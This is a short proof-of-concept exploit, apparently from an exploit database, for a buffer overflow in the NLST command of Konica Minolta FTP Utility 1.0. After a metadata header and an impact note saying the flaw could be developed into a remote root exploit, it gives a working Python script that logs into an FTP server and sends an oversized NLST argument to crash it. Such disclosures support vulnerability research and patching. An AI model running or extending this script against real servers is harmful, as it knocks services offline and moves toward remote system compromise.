Konica Minolta FTP Utility 1.0 - 'NLST' Denial of Service (PoC)

# Exploit Title: Konica Minolta FTP Utility 1.0 - 'NLST' Denial of Service (PoC) 
# Date: 2020-05-16
# Found by: Alvaro J. Gene (Socket_0x03)
# Software Link: https://konica-minolta-ftp-utility.software.informer.com/download/
# Vulnerable Application: Konica Minolta FTP Utility
# Version: 1.0
# Server: FTP Server
# Vulnerable Command: NLST
# Tested on: Windows 7 SP1

# Impact: There is a buffer overflow vulnerability in the NLST command of the FTP server
# "Konica Minolta FTP Utility" that will allow an attacker to overwrite some registers, 
# such as EAX, ESI, EDI... Even though the next codes will crash the FTP server and overwrite 
# some registers, an individual can use the vulnerable command to build a remote buffer 
# overflow exploit that will root a system without any user interaction. 

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=============== [ Konica Minolta FTP Utility v1.0 - 'NLST' Denial of Service (PoC) ] ===============
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from ftplib import FTP

ftp = FTP('192.168.0.16')

buffer = "A" * 1500

ftp.login()

ftp.retrlines('NLST ' + buffer)